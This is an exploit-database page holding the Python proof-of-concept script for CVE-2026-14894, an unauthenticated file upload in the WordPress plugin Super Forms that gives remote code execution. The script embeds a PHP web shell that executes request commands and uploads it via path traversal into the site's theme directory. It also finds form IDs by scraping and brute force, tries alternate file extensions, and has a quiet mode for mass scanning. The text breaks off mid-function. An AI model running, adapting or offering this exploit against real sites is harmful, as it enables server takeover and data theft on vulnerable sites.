Exploit database

GH-72907331746daee99b519e36485fe1f4

1beelze/cve-2026-14894

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-14894

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
1beelze/cve-2026-14894Revision c5d07b14a259

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve-2026-14894.py

Python · 46,314 bytes
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# CVE-2026-14894 -- Super Forms <= 6.3.313
# Unauthenticated Arbitrary File Upload via datauristring -> RCE
# Researcher: andrea bocchetti | PoC by: Beelze
import sys, io
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace')

import requests, base64, os, json, random, string, re as _re, time, threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
from urllib.parse import urljoin

import urllib3
urllib3.disable_warnings()

# ── ANSI ──────────────────────────────────────────────────────────────
R  = '\033[91m'; G  = '\033[92m'; Y  = '\033[93m'
C  = '\033[96m'; M  = '\033[95m'; W  = '\033[97m'
DG = '\033[90m'; BO = '\033[1m';  RE = '\033[0m'

W60 = 62

BANNER = f"""
{R}{BO}
██████╗ ███████╗███████╗██╗     ███████╗███████╗
██╔══██╗██╔════╝██╔════╝██║     ╚════██║██╔════╝
██████╔╝█████╗  █████╗  ██║         ██╔╝█████╗
██╔══██╗██╔══╝  ██╔══╝  ██║        ██╔╝ ██╔══╝
██████╔╝███████╗███████╗███████╗  ██████╗███████╗
╚═════╝ ╚══════╝╚══════╝╚══════╝  ╚═════╝╚══════╝
{RE}
{Y}  CVE-2026-14894  ─  Super Forms ≤ 6.3.313{RE}
{C}  Unauthenticated File Upload → Remote Code Execution{RE}
{M}  Researcher: andrea bocchetti  |  PoC: Beelze{RE}
"""

# Shell: RCE marker + sysinfo
WEBSHELL = (
    b'<?php '
    b'error_reporting(0); '
    b'if(isset($_REQUEST["c"])){'
    b'  @ob_clean(); '
    b'  echo "[RCE_START]"; '
    b'  system($_REQUEST["c"]); '
    b'  echo "[RCE_END]"; '
    b'} '
    b'echo "BEELZE_PWN:".php_uname()."@".getcwd(); '
    b'?>'
)

# Marker for write confirmation (non-PHP, confirms write+path before exec attempt)
MARKER_MAGIC = b'CVE-2026-14894-WRITE-CONFIRMED'

# Alternative PHP extensions for exec bypass when .php is blocked in theme/upload dir.
# Apache AddHandler / AddType can exec these even when .php is denied by policy.
EXT_FALLBACK = ['.phtml', '.pht', '.php5', '.php7', '.phar']

SAVE_DIR = os.path.join(os.path.expanduser('~'), 'Documents', 'CVE-2026-14894')
os.makedirs(SAVE_DIR, exist_ok=True)

# Msg patterns that mean "hard block" (nonce/session invalid) — write did NOT happen.
# Use specific multi-word substrings; bare 'session' or 'expired' are too broad.
_HARD_BLOCK = (
    'session expired',
    'unable to submit form, session',
    'invalid nonce',
    'security check failed',
    'permission denied',
    'access denied',
    'you do not have permission',
    'nonce verification failed',
)

# ── Display helpers ────────────────────────────────────────────────────
def _vlen(s):
    return len(_re.sub(r'\033\[[0-9;]*m', '', s))

def sep(char='═', color=W):
    print(f"{color}{char * W60}{RE}")

def step(n, total, label, status='', color=C):
    tag  = f"[{n}/{total}]"
    used = 2 + len(tag) + 1 + len(label) + 1 + 1 + _vlen(status)
    dots = DG + '.' * max(2, W60 - used) + RE
    print(f"  {color}{tag}{RE} {label} {dots} {status}")

def ok(msg):   print(f"  {G}✓  {msg}{RE}")
def err(msg):  print(f"  {R}✗  {msg}{RE}")
def warn(msg): print(f"  {Y}!  {msg}{RE}")
def info(msg): print(f"  {C}»  {msg}{RE}")

def _box_line(content, pad, color):
    inner = content[:pad]
    print(f"{color}│  {inner:<{pad - 2}}│{RE}")

def pwned_box(shell_url, rce_out, cmd_hint):
    pad = W60 - 2
    print(f"\n{G}┌{'─' * pad}┐{RE}")
    print(f"{G}│{BO}  ✓  PWNED — RCE CONFIRMED{'':>{pad - 26}}{RE}{G}│{RE}")
    print(f"{G}│{'':>{pad}}│{RE}")
    _box_line(f"Shell  »  {shell_url}", pad, G)
    if rce_out:
        _box_line(f"RCE    »  {rce_out}", pad, G)
    print(f"{G}│{'':>{pad}}│{RE}")
    _box_line(f"$ {cmd_hint}", pad, G)
    print(f"{G}└{'─' * pad}┘{RE}\n")

def write_only_box(shell_url, reason=''):
    pad = W60 - 2
    print(f"\n{Y}┌{'─' * pad}┐{RE}")
    print(f"{Y}│{BO}  ⚠  WRITE CONFIRMED — NO PHP EXEC{'':>{pad - 34}}{RE}{Y}│{RE}")
    print(f"{Y}│{'':>{pad}}│{RE}")
    _box_line(f"Path   »  {shell_url}", pad, Y)
    if reason:
        _box_line(reason, pad, Y)
    _box_line("PHP denied by server policy — try: .htaccess drop / traversal / LFI", pad, Y)
    print(f"{Y}└{'─' * pad}┘{RE}\n")

def fail_box(reason=''):
    pad = W60 - 2
    print(f"\n{R}┌{'─' * pad}┐{RE}")
    print(f"{R}│{BO}  ✗  FAIL{'':>{pad - 8}}{RE}{R}│{RE}")
    if reason:
        _box_line(reason, pad, R)
    print(f"{R}└{'─' * pad}┘{RE}\n")

# ── Helpers ───────────────────────────────────────────────────────────
def rand_name(ext='.php'):
    return ''.join(random.choices(string.ascii_lowercase, k=8)) + ext

def _safe_serialize(obj):
    """Recursively strip non-serializable objects from result dicts."""
    if isinstance(obj, dict):
        return {k: _safe_serialize(v) for k, v in obj.items()
                if not k.startswith('_') and not isinstance(v, requests.Session)}
    if isinstance(obj, list):
        return [_safe_serialize(i) for i in obj]
    return obj

def save_result(data):
    ts   = datetime.now().strftime('%Y%m%d_%H%M%S')
    path = os.path.join(SAVE_DIR, f'result_{ts}.json')
    with open(path, 'w') as f:
        json.dump(_safe_serialize(data), f, indent=2)
    ok(f"Saved → {path}")

def ajaxurl(target: str) -> str:
    return urljoin(target.rstrip('/') + '/', 'wp-admin/admin-ajax.php')

# ── Step 1: Mint nonce ────────────────────────────────────────────────
def get_nonce(target: str, session: requests.Session):
    """nopriv super_create_nonce → sf_nonce token + _sfs_id cookie."""
    try:
        r = session.post(ajaxurl(target), data={'action': 'super_create_nonce'},
                         timeout=15, verify=False)
        r.raise_for_status()
        nonce = r.text.strip()
        # Real nonce = 3x md5 = 96 hex chars; accept 32–128 hex only
        if _re.fullmatch(r'[a-f0-9]{32,128}', nonce):
            return nonce
        return None
    except Exception as e:
        return None

# ── Step 2: Upload file via datauristring sink ─────────────────────────
def _build_upload_payload(shell_name: str, content_b64: str, mime: str) -> dict:
    """Build the JSON data structure for super_submit_form upload."""
    return {
        "sf_upload_field": {
            "type": "files",
            "files": [{
                "datauristring": f"data:{mime};base64,{content_b64}",
                "value": shell_name,   # ← user-controlled, no sanitize (sink)
                "name":  shell_name,
                "label": "attachment",
            }]
        }
    }

def upload_file(target: str, session: requests.Session,
                nonce: str, form_id, filename: str,
                content: bytes, mime: str = 'application/octet-stream'):
    """
    Core upload via datauristring sink (class-ajax.php:2762-2766, v6.3.313).
    Returns response object with extra attrs:
      _sf_error    bool   — True if plugin returned error:true
      _sf_entry_id int    — contact_entry_id if success
      _sf_msg      str    — raw msg from plugin response (debug signal)
    """
    b64 = base64.b64encode(content).decode()
    data_json = json.dumps(_build_upload_payload(filename, b64, mime))
    post_data = {
        'action':   'super_submit_form',
        'sf_nonce': nonce,
        'form_id':  str(form_id),
        'data':     data_json,
    }
    try:
        r = session.post(ajaxurl(target), data=post_data, timeout=20, verify=False)
        try:
            rj               = r.json()
            rd               = rj.get('response_data', {}) or {}
            r._sf_error      = bool(rj.get('error', True))
            r._sf_entry_id   = rd.get('contact_entry_id')
            r._sf_msg        = str(rj.get('msg', '') or rj.get('message', ''))
        except Exception:
            r._sf_error    = True
            r._sf_entry_id = None
            r._sf_msg      = r.text[:200]
        return r
    except Exception as e:
        return None

def upload_shell(target, session, nonce, form_id, shell_name, content=None):
    return upload_file(target, session, nonce, form_id, shell_name, content or WEBSHELL)

def upload_marker(target, session, nonce, form_id, marker_name):
    return upload_file(target, session, nonce, form_id, marker_name,
                       MARKER_MAGIC, mime='text/plain')

# ── Version fingerprint ────────────────────────────────────────────────
def check_sf_version(target: str, session: requests.Session):
    """
    Read Super Forms version from readme.txt or plugin PHP header.
    Returns (version_str, is_vulnerable) or (None, None) if not readable.
    Vulnerable: <= 6.3.313 — patched 6.3.314 forces .pdf extension + realpath.
    """
    for path, pat in [
        ('/wp-content/plugins/super-forms/readme.txt',     r'Stable tag:\s*([\d.]+)'),
        ('/wp-content/plugins/super-forms/super-forms.php', r'Version:\s*([\d.]+)'),
    ]:
        try:
            r = session.get(target.rstrip('/') + path, timeout=8, verify=False)
            if r.status_code == 200:
                m = _re.search(pat, r.text, _re.I)
                if m:
                    ver   = m.group(1).strip()
                    parts = [int(x) for x in ver.split('.')]
                    return ver, (parts <= [6, 3, 313])
        except Exception:
            pass
    return None, None

# ── Step 3: Discover uploaded file ────────────────────────────────────
def _check_url(sess, url, expect_rce=False, timeout=7, custom_shell=False):
    """
    Probe a URL. Returns:
      'RCE'        — shell executed (built-in markers, or custom_shell + 200+body)
      'WRITE_ONLY' — PHP source served without execution
      'FORBIDDEN'  — HTTP 403: path confirmed, exec/access denied
      'MARKER_OK'  — non-PHP marker magic string confirmed
      None         — 404 / network error / no signal

    custom_shell=True: any 200+body = 'RCE' (custom shells lack built-in markers).
    """
    try:
        rv = sess.get(url + ('?c=id' if expect_rce else ''), timeout=timeout, verify=False)

        if rv.status_code == 403:
            return 'FORBIDDEN'

        if rv.status_code not in (200, 206):
            return None

        body = rv.text

        if MARKER_MAGIC.decode() in body:
            return 'MARKER_OK'

        if '[RCE_START]' in body or 'BEELZE_PWN' in body:
            return 'RCE'

        if '<?php' in body or '<?=' in body:
            return 'WRITE_ONLY'

        # Custom shell: no built-in markers — any non-empty 200 body = shell running
        if custom_shell and body.strip():
            return 'RCE'

        return None
    except Exception:
        return None

def _rest_media_search(sess, target, shell_name, headers=None):
    """Search WP REST media API for shell_name. Returns URL or None."""
    for path in [
        f'/wp-json/wp/v2/media?per_page=5&orderby=id&order=desc&search={shell_name}',
        '/wp-json/wp/v2/media?per_page=10&orderby=id&order=desc',
    ]:
        try:
            r = sess.get(target.rstrip('/') + path, headers=headers or {},
                         timeout=8, verify=False)
            if r.status_code == 200:
                items = r.json()
                if isinstance(items, list):
                    for item in items:
                        src = item.get('source_url', '')
                        if shell_name in src:
                            return src
        except Exception:
            pass
    return None

def find_file(target: str, filename: str, session: requests.Session = None,
              wp_user: str = None, wp_pass: str = None,
              entry_id=None, expect_rce=False, custom_shell=False):
    """
    Multi-strategy discovery.
    Returns (url, check_result) or (None, None).

    Strategy order:
      S0  media?parent=entry_id  (correct WP relationship, no auth often)
      S1  unauthenticated REST search
      S1b authenticated REST search (cookie login + X-WP-Nonce)
      S2  directory listing parse on superforms/YYYY/MM/
      S3  WP sitemap attachment XML
    """
    sess = session or requests.Session()
    now  = datetime.now()
    yr, mo = now.year, f'{now.month:02d}'

    # S0: Correct attachment link — media post_parent = contact_entry post
    if entry_id:
        try:
            r = sess.get(
                target.rstrip('/') + f'/wp-json/wp/v2/media?parent={entry_id}&per_page=5',
                timeout=8, verify=False
            )
            if r.status_code == 200:
                _items = r.json()
                for item in (_items if isinstance(_items, list) else []):
                    src = item.get('source_url', '')
                    if filename in src and src.startswith('http'):
                        res = _check_url(sess, src, expect_rce, custom_shell=custom_shell)
                        if res:
                            return src, res
        except Exception:
            pass

    # S1: Unauthenticated REST search
    src = _rest_media_search(sess, target, filename)
    if src:
        res = _check_url(sess, src, expect_rce, custom_shell=custom_shell)
        if res:
            return src, res

    # S1b: Authenticated REST (WP login cookie)
    if wp_user and wp_pass:
        auth = requests.Session()
        auth.headers['User-Agent'] = sess.headers.get('User-Agent', 'Mozilla/5.0')
        auth.verify = False
        try:
            domain = target.split('/')[2].split(':')[0]
            auth.cookies.set('wordpress_test_cookie', 'WP Cookie check', domain=domain)
            auth.post(target.rstrip('/') + '/wp-login.php',
                      data={'log': wp_user, 'pwd': wp_pass,
                            'wp-submit': 'Log In', 'redirect_to': '/wp-admin/',
                            'testcookie': '1'},
                      allow_redirects=True, timeout=10, verify=False)
            rn = auth.get(target.rstrip('/') + '/wp-admin/', timeout=8, verify=False)
            m  = _re.search(r'"nonce":"([a-f0-9]+)"', rn.text)
            if m:
                src = _rest_media_search(auth, target, filename,
                                         headers={'X-WP-Nonce': m.group(1)})
                if src:
                    res = _check_url(auth, src, expect_rce, custom_shell=custom_shell)
                    if res:
                        return src, res
        except Exception:
            pass

    # S2: Apache/nginx directory listing
    for base in [
        f'/wp-content/uploads/superforms/{yr}/{mo}/',
        f'/wp-content/uploads/superforms/{yr - 1}/{mo}/',
    ]:
        try:
            r = sess.get(target.rstrip('/') + base, timeout=8, verify=False)
            if r.status_code == 200 and '<a href=' in r.text:
                folders = _re.findall(r'href="(\d{12,14})[/"]', r.text)
                for folder in reversed(folders):
                    url = target.rstrip('/') + base + folder + '/' + filename
                    res = _check_url(sess, url, expect_rce, custom_shell=custom_shell)
                    if res:
                        return url, res
        except Exception:
            pass

    # S3: WP sitemap attachment XML
    try:
        r = sess.get(target.rstrip('/') + '/wp-sitemap-posts-attachment-1.xml',
                     timeout=8, verify=False)
        if r.status_code == 200 and filename in r.text:
            m = _re.search(r'(https?://[^\s<>]+' + _re.escape(filename) + r')', r.text)
            if m:
                res = _check_url(sess, m.group(1), expect_rce, custom_shell=custom_shell)
                if res:
                    return m.group(1), res
    except Exception:
        pass

    return None, None

# ── Form ID discovery ─────────────────────────────────────────────────
def get_form_ids(target: str, session: requests.Session, quiet: bool = False):
    """
    Priority order:
      P1  Scrape known frontend paths
      P2  WP REST /wp/v2/pages content (catches Elementor/Gutenberg embeds)
      P3  WP sitemap → follow sub-sitemaps → fetch page URLs → scrape each
      P4  WP REST CPT (super-forms — usually dead, public=false)
      P5  Brute IDs 1–200 (form_id in real targets often > 100)

    quiet=True suppresses info/warn prints (mass mode) and skips slow live-fetch.
    Returns (scraped_ids, brute_ids) — callers apply soft-cap only to brute_ids.
    """
    _log_i = (lambda m: None) if quiet else info
    _log_w = (lambda m: None) if quiet else warn

    def _extract(text):
        ids  = _re.findall(r'data-form-id=["\'](\d+)["\']', text)
        ids += _re.findall(r'\[super_form\s[^\]]*id=["\']?(\d+)', text)   # shortcode
        ids += _re.findall(r'super_form_id["\s]*[=:]["\s]*(\d+)', text)
        ids += _re.findall(r'name=["\']form_id["\']\s+value=["\'](\d+)["\']', text)
        ids += _re.findall(r'"form_id"\s*:\s*(\d+)', text)
        return [int(i) for i in ids]

    found = []

    # P1: Known frontend paths
    for path in ['/', '/contact', '/contact-us', '/get-in-touch',
                 '/support', '/quote', '/register', '/apply', '/form', '/demo']:
        try:
            r = session.get(target.rstrip('/') + path, timeout=8, verify=False)
            if r.status_code == 200:
                found.extend(_extract(r.text))
        except Exception:
            pass

    # P2: WP REST pages — full content (Elementor shortcodes, Gutenberg blocks, inline JS)
    try:
        r = session.get(
            target.rstrip('/') + '/wp-json/wp/v2/pages?per_page=100&_fields=content,link',
            timeout=10, verify=False
        )
        if r.status_code == 200:
            for page in r.json():
                content = (page.get('content') or {}).get('rendered', '')
                found.extend(_extract(content))
                # Live-fetch: catches IDs injected at render-time by page builders.
                # Skip in quiet/mass mode — too many requests, WAF-prone.
                link = page.get('link', '')
                if link and not _extract(content) and not quiet:
                    try:
                        rp = session.get(link, timeout=6, verify=False)
                        if rp.status_code == 200:
                            found.extend(_extract(rp.text))
                    except Exception:
                        pass
    except Exception:
        pass

    # P3: WP sitemap → page URL discovery (catches random page slugs)
    # wp-sitemap.xml is a sitemap index — locs point to sub-sitemaps (.xml), not pages.
    # Follow one level of .xml locs to extract actual page URLs before scraping.
    for sm in ['/wp-sitemap.xml', '/sitemap.xml', '/sitemap_index.xml']:
        try:
            r = session.get(target.rstrip('/') + sm, timeout=8, verify=False)
            if r.status_code == 200 and '<loc>' in r.text:
                raw_urls = _re.findall(r'<loc>(https?://[^<]+)</loc>', r.text)
                page_urls = []
                for url in raw_urls[:10]:
                    if url.rstrip('/').endswith('.xml'):
                        try:
                            rs = session.get(url, timeout=6, verify=False)
                            if rs.status_code == 200:
                                page_urls += _re.findall(r'<loc>(https?://[^<]+)</loc>', rs.text)
                        except Exception:
                            pass
                    else:
                        page_urls.append(url)
                for url in page_urls[:25]:
                    try:
                        rp = session.get(url, timeout=6, verify=False)
                        if rp.status_code == 200:
                            found.extend(_extract(rp.text))
                    except Exception:
                        pass
                break
        except Exception:
            pass

    found = list(dict.fromkeys(found))
    if found:
        _log_i(f"form_id from HTML/REST pages: {found}")
        return found, []

    # P4: WP REST CPT (usually dead — super-forms CPT is public=false, show_in_rest=false)
    for path in ['/wp-json/wp/v2/super-forms?per_page=10',
                 '/wp-json/wp/v2/super_form?per_page=10']:
        try:
            r = session.get(target.rstrip('/') + path, timeout=8, verify=False)
            if r.status_code == 200:
                data = r.json()
                if isinstance(data, list) and data:
                    ids = [p['id'] for p in data]
                    _log_i(f"form_id via REST CPT: {ids}")
                    return ids, []
        except Exception:
            pass

    # P5: Brute — form_id in real targets often > 100; cap at 200
    _log_w("form_id not found — brute-force IDs 1–200")
    return [], list(range(1, 201))

# ── Traversal pivot (no-exec upload dir) ─────────────────────────────
def _detect_theme(target: str, session: requests.Session):
    """Parse active theme name from homepage CSS link."""
    try:
        r = session.get(target.rstrip('/') + '/', timeout=8, verify=False)
        m = _re.search(r'/wp-content/themes/([^/]+)/style\.css', r.text)
        if m:
            return m.group(1)
    except Exception:
        pass
    return None

def probe_traversal(target: str, session: requests.Session,
                    form_id: int, shell_name: str,
                    theme: str = None, shell_content: bytes = None):
    """
    Pre-patch (≤6.3.313): $basename = $value['value'] — no path containment.
    Traverse from random upload dir to theme dir (always executable).

    Depths from <13digits>/: 5=standard, 6=WP in subdir, 4=custom, 7=deep subdir.
    Tries .php first; if blocked/hidden, falls back to EXT_FALLBACK at same depth.
    shell_content: use custom bytes instead of built-in WEBSHELL.
    """
    if not theme:
        theme = _detect_theme(target, session)
    if not theme:
        return None, None

    _sc   = shell_content or WEBSHELL
    _cs   = shell_content is not None   # custom_shell flag for _check_url
    _base = shell_name.rsplit('.', 1)[0]

    def _ext_probe(prefix):
        for ext in EXT_FALLBACK:
            alt = _base + ext
            n2  = get_nonce(target, session)
            if not n2:
                break
            r2 = upload_file(target, session, n2, form_id,
                             f'{prefix}themes/{theme}/{alt}', _sc)
            if not r2 or r2.status_code != 200:
                continue
            url2 = target.rstrip('/') + f'/wp-content/themes/{theme}/{alt}'
            res2 = _check_url(session, url2, expect_rce=True, custom_shell=_cs)
            if res2 == 'RCE':
                return url2, res2
            if res2:
                return url2, res2
        return None, None

    for ups in (5, 6, 4, 7):
        prefix    = '../' * ups
        traversal = f'{prefix}themes/{theme}/{shell_name}'

        nonce = get_nonce(target, session)
        if not nonce:
            break

        r = upload_shell(target, session, nonce, form_id, traversal, content=_sc)
        if not r or r.status_code != 200:
            continue

        shell_url = target.rstrip('/') + f'/wp-content/themes/{theme}/{shell_name}'
        res = _check_url(session, shell_url, expect_rce=True, custom_shell=_cs)

        if res == 'RCE':
            return shell_url, res

        # not RCE (WRITE_ONLY / FORBIDDEN / MARKER_OK / 404) — always try ext fallback
        url2, res2 = _ext_probe(prefix)
        if url2 and res2 == 'RCE':
            return url2, res2
        if url2:
            return url2, res2
        if res:
            return shell_url, res
        # both .php and all fallbacks gave nothing → try next depth

    return None, None

# ── Core attack logic ─────────────────────────────────────────────────
def _run_attack(target: str, form_id=None, shell_name=None,
                wp_user=None, wp_pass=None, quiet: bool = False,
                shell_content: bytes = None) -> dict:
    """
    Returns result dict with status in: RCE | WRITE_ONLY | POSSIBLE_WRITE | FAIL
    quiet=True suppresses form_id discovery prints and skips marker probe (mass mode).
    shell_content: custom shell bytes; None = built-in WEBSHELL with RCE markers.
    """
    _cs = shell_content is not None   # custom_shell flag
    if not shell_name:
        shell_name = rand_name()

    session = requests.Session()
    session.headers['User-Agent'] = (
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) '
        'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36'
    )
    session.headers['Referer'] = target.rstrip('/') + '/'

    result = {
        'target':         target,
        'shell_name':     shell_name,
        'shell_url':      None,
        'rce':            None,
        'entry_id':       None,
        'status':         'FAIL',
        'sf_version':     None,
        'sf_vulnerable':  None,
        'nonce_ok':       False,
        'upload_ok':      False,
        'possible_write': False,
        'used_fid':       None,
        'upload_msg':     '',
        'upload_err':     'not started',
        'traversal':      False,
        'marker_url':     None,
        'marker_found':   False,
        '_session':       session,
        '_nonce':         None,
        '_sid':           None,
    }

    # ── Version check (fail-fast if patched) ──
    ver, is_vuln = check_sf_version(target, session)
    result['sf_version']    = ver
    result['sf_vulnerable'] = is_vuln
    if ver and is_vuln is False:
        result['upload_err'] = f'patched — version {ver} >= 6.3.314'
        return result

    # ── Step 1: Nonce ──
    nonce = get_nonce(target, session)
    result['_nonce'] = nonce
    result['_sid']   = list(session.cookies.values())[0][:16] if session.cookies else '?'
    if not nonce:
        result['upload_err'] = 'nonce fail — plugin inactive or patched'
        return result
    result['nonce_ok'] = True

    # ── Form ID discovery ──
    if form_id:
        scraped_ids, brute_ids = [form_id], []
    else:
        scraped_ids, brute_ids = get_form_ids(target, session, quiet=quiet)

    # ── Traversal-first: primary attack vector ──
    # Writes directly to active theme dir → bypasses random-folder discovery entirely.
    # Tries scraped fids[:3] then fid=1 (accepted even on bare installs with no valid form).
    _traversal_done = False
    _trav_first_url, _trav_first_check = None, None
    shell_url, check = None, None

    _theme = _detect_theme(target, session)
    result['_theme'] = _theme   # stored for MAYBE debug display
    if _theme:
        _tf_fids = list(dict.fromkeys(scraped_ids[:3] + [1]))
        for _tf_fid in _tf_fids:
            _t_url, _t_check = probe_traversal(
                target, session, _tf_fid, shell_name,
                theme=_theme, shell_content=shell_content
            )
            if _t_url:
                _traversal_done = True
                _trav_first_url, _trav_first_check = _t_url, _t_check
                result['traversal']      = True
                result['used_fid']       = _tf_fid
                result['possible_write'] = True
                if _t_check == 'RCE':
                    result['upload_ok']  = True
                    result['upload_err'] = ''
                    result['upload_msg'] = 'traversal → theme dir'
                break

    # Short-circuit: traversal-first got RCE — skip random-folder upload entirely
    if _traversal_done and _trav_first_check == 'RCE':
        shell_url, check = _trav_first_url, _trav_first_check
    else:
        # ── Step 2: Upload (random folder — evidence / fallback path) ──
        best_r    = None
        _first_up = True
        soft_count = 0
        SOFT_CAP   = 5    # only applied to brute IDs, not scraped
        upload_err = 'no valid form_id responded'

        for fid, is_brute in (
            [(f, False) for f in scraped_ids] +
            [(f, True)  for f in brute_ids]
        ):
            if not _first_up:
                nonce = get_nonce(target, session)
                if not nonce:
                    upload_err = 'nonce refresh failed'
                    break
            _first_up = False

            r = upload_shell(target, session, nonce, fid, shell_name, content=shell_content)
            if not r:
                upload_err = f'connection error fid={fid}'
                continue

            is_err  = getattr(r, '_sf_error', True)
            eid     = getattr(r, '_sf_entry_id', None)
            msg_raw = getattr(r, '_sf_msg', '')

            if r.status_code == 200 and not is_err:
                result['upload_ok']      = True
                result['possible_write'] = True
                result['used_fid']       = fid
                result['upload_msg']     = msg_raw
                if eid:
                    result['entry_id'] = eid
                best_r = r
                break

            if r.status_code == 200 and is_err:
                msg_lower = msg_raw.lower()
                is_hard = any(p in msg_lower for p in _HARD_BLOCK) or not r.text.strip()
                if not is_hard:
                    result['possible_write'] = True
                    result['upload_msg']     = msg_raw
                    if not result['used_fid']:
                        result['used_fid'] = fid
                    if eid and not result['entry_id']:
                        result['entry_id'] = eid
                    best_r = r
                    if is_brute:
                        soft_count += 1
                        if soft_count >= SOFT_CAP:
                            break
                    continue

            upload_err = f'fid={fid} status={r.status_code} err={is_err} msg={msg_raw[:60]}'

        if not result['upload_ok'] and not result['possible_write']:
            result['upload_err'] = upload_err
            if not _traversal_done:
                return result

        if result['upload_ok'] or result['possible_write']:
            result['upload_err'] = ('' if result['upload_ok']
                                    else f'soft: {result["upload_msg"][:80]}')

        # ── Phase 2b: Marker probe (skip in quiet/mass mode — extra requests, slow) ──
        if result['used_fid'] and not quiet:
            m_nonce = get_nonce(target, session)
            if m_nonce:
                marker_name = rand_name(ext='.txt')
                mr = upload_marker(target, session, m_nonce, result['used_fid'], marker_name)
                if mr and mr.status_code == 200:
                    m_url, m_check = find_file(
                        target, marker_name, session,
                        wp_user=wp_user, wp_pass=wp_pass,
                        entry_id=getattr(mr, '_sf_entry_id', None),
                        expect_rce=False, custom_shell=False,
                    )
                    if m_url and m_check == 'MARKER_OK':
                        result['marker_url']   = m_url
                        result['marker_found'] = True

        # ── Step 3: Shell discovery (random folder) ──
        _found_url, _found_check = find_file(
            target, shell_name, session,
            wp_user=wp_user, wp_pass=wp_pass,
            entry_id=result.get('entry_id'),
            expect_rce=True, custom_shell=_cs,
        )
        # find_file result takes priority (may upgrade to RCE);
        # fall back to traversal-first non-RCE result if find_file is blind
        if _found_url:
            shell_url, check = _found_url, _found_check
        elif _trav_first_url:
            shell_url, check = _trav_first_url, _trav_first_check

        # ── Step 4: Traversal pivot (skip if traversal-first already ran) ──
        exec_blocked = shell_url and check in ('WRITE_ONLY', 'FORBIDDEN')
        if (not shell_url or exec_blocked) and result['used_fid'] and \
                (result['upload_ok'] or result['possible_write']) and not _traversal_done:
            trav_url, trav_check = probe_traversal(
                target, session, result['used_fid'], shell_name,
                theme=_theme, shell_content=shell_content
            )
            if trav_url:
                result['traversal'] = True
                if trav_check == 'RCE':
                    shell_url, check = trav_url, trav_check
                elif not shell_url:
                    shell_url, check = trav_url, trav_check

    # ── Step 5: Classify ──
    if shell_url:
        result['shell_url']   = shell_url
        result['shell_check'] = check
        if check == 'RCE':
            result['status'] = 'RCE'
            try:
                rv = session.get(f"{shell_url}?c=id", timeout=8, verify=False)
                if '[RCE_START]' in rv.text:
                    result['rce'] = rv.text.split('[RCE_START]')[1].split('[RCE_END]')[0].strip()
                elif 'BEELZE_PWN' in rv.text:
                    result['rce'] = rv.text.split('BEELZE_PWN:')[-1].strip()
                elif _cs and rv.text.strip():
                    result['rce'] = rv.text.strip()[:80]   # custom shell — first 80 chars
            except Exception:
                pass
        elif check in ('WRITE_ONLY', 'MARKER_OK', 'FORBIDDEN'):
            result['status'] = 'WRITE_ONLY'
    elif result['upload_ok'] or result['possible_write']:
        result['status'] = 'POSSIBLE_WRITE'

    return result

# ── Verbose single-target display ─────────────────────────────────────
def exploit(target: str, form_id=None, shell_name=None,
            wp_user=None, wp_pass=None, shell_content=None) -> dict:
    if not shell_name:
        shell_name = rand_name()

    print()
    sep()
    print(f"  {W}{BO}TARGET{RE}  {C}{target[:W60 - 12]}{RE}")
    sep()
    print()

    print(f"  {DG}»  scanning — nonce → traversal → upload → recon ...{RE}", flush=True)
    r = _run_attack(target, form_id=form_id, shell_name=shell_name,
                    wp_user=wp_user, wp_pass=wp_pass, quiet=False,
                    shell_content=shell_content)
    print(f"\r{' ' * (W60 + 4)}\r", end='', flush=True)

    # Version line (informational)
    ver = r.get('sf_version')
    if ver:
        vuln_tag = (f'{G}vulnerable ≤6.3.313{RE}' if r.get('sf_vulnerable')
                    else f'{R}PATCHED ≥6.3.314{RE}')
        info(f"Super Forms {DG}v{ver}{RE}  {vuln_tag}")
        if not r.get('sf_vulnerable'):
            fail_box(r['upload_err'])
            return r

    # Step 1 display
    nonce_st = (f'{G}OK{RE}  {DG}{r["_nonce"][:20]}...  sid={r["_sid"]}...{RE}'
                if r['nonce_ok'] else f'{R}FAIL{RE}')
    step(1, 3, 'Mint nonce', nonce_st)

    if not r['nonce_ok']:
        fail_box(r['upload_err'])
        return r

    # Step 2 display
    if r['upload_ok']:
        eid_str = f"  entry_id={r['entry_id']}" if r['entry_id'] else ''
        step(2, 3, f'Upload [{r["shell_name"]}]',
             f'{G}OK{RE}  {DG}form_id={r["used_fid"]}{eid_str}{RE}')
    elif r['possible_write']:
        step(2, 3, f'Upload [{r["shell_name"]}]',
             f'{Y}POSSIBLE{RE}  {DG}soft err — {r["upload_msg"][:40]}{RE}')
    else:
        step(2, 3, f'Upload [{r["shell_name"]}]',
             f'{R}FAIL{RE}  {DG}{r["upload_err"]}{RE}')

    if not r['upload_ok'] and not r['possible_write']:
        fail_box(r['upload_err'])
        return r

    # Marker result (only meaningful when status != RCE — if RCE, marker is noise)
    if r.get('marker_found'):
        info(f"Marker {DG}[write+discovery confirmed]{RE}  {DG}{r['marker_url']}{RE}")
    elif r.get('marker_url') is None and r.get('used_fid') and r.get('status') != 'RCE':
        info(f"Marker {Y}[upload attempted — not resolved]{RE}  "
             f"{DG}dir listing locked / REST blind{RE}")

    print()

    # Step 3 display
    trav_tag = f'  {Y}[path traversal → theme]{RE}' if r.get('traversal') else ''
    status   = r['status']
    yr, mo   = datetime.now().year, f'{datetime.now().month:02d}'

    if status == 'RCE':
        step(3, 3, 'Shell discovery', f'{G}FOUND — RCE{RE}{trav_tag}')
        cmd_hint = f'curl "{r["shell_url"]}?c=whoami"'
        pwned_box(r['shell_url'], r.get('rce'), cmd_hint)

    elif status == 'WRITE_ONLY':
        shell_check = r.get('shell_check', '')
        if shell_check == 'FORBIDDEN':
            step(3, 3, 'Shell discovery', f'{Y}PATH KNOWN — 403 FORBIDDEN{RE}{trav_tag}')
            write_only_box(r['shell_url'],
                           '403 on .php — deny-exec policy (nginx location / Apache .htaccess)')
        else:
            step(3, 3, 'Shell discovery', f'{Y}WRITE OK — PHP SOURCE SERVED{RE}{trav_tag}')
            write_only_box(r['shell_url'],
                           'PHP not executed — no handler or engine=off in upload dir')

    elif status == 'POSSIBLE_WRITE':
